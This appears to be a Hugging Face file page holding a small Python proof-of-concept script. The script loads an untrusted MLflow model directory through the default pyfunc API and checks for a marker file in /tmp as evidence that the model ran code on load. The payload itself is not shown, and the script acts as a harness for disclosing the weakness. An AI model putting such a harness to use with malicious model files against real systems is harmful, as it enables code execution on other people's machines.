aslein1413's picture
Upload folder using huggingface_hub
71a6ac6 verified
Raw
History Blame Contribute Delete
448 Bytes
# Load an untrusted MLflow model dir the normal way. No flags/env.
# Watch /tmp/PWNED_mlflow.txt appear -> the model executed code on load.
import os, mlflow.pyfunc
print("marker before:", os.path.exists("/tmp/PWNED_mlflow.txt"))
mlflow.pyfunc.load_model("model") # default public API
print("marker after :", os.path.exists("/tmp/PWNED_mlflow.txt"))
if os.path.exists("/tmp/PWNED_mlflow.txt"):
print(open("/tmp/PWNED_mlflow.txt").read())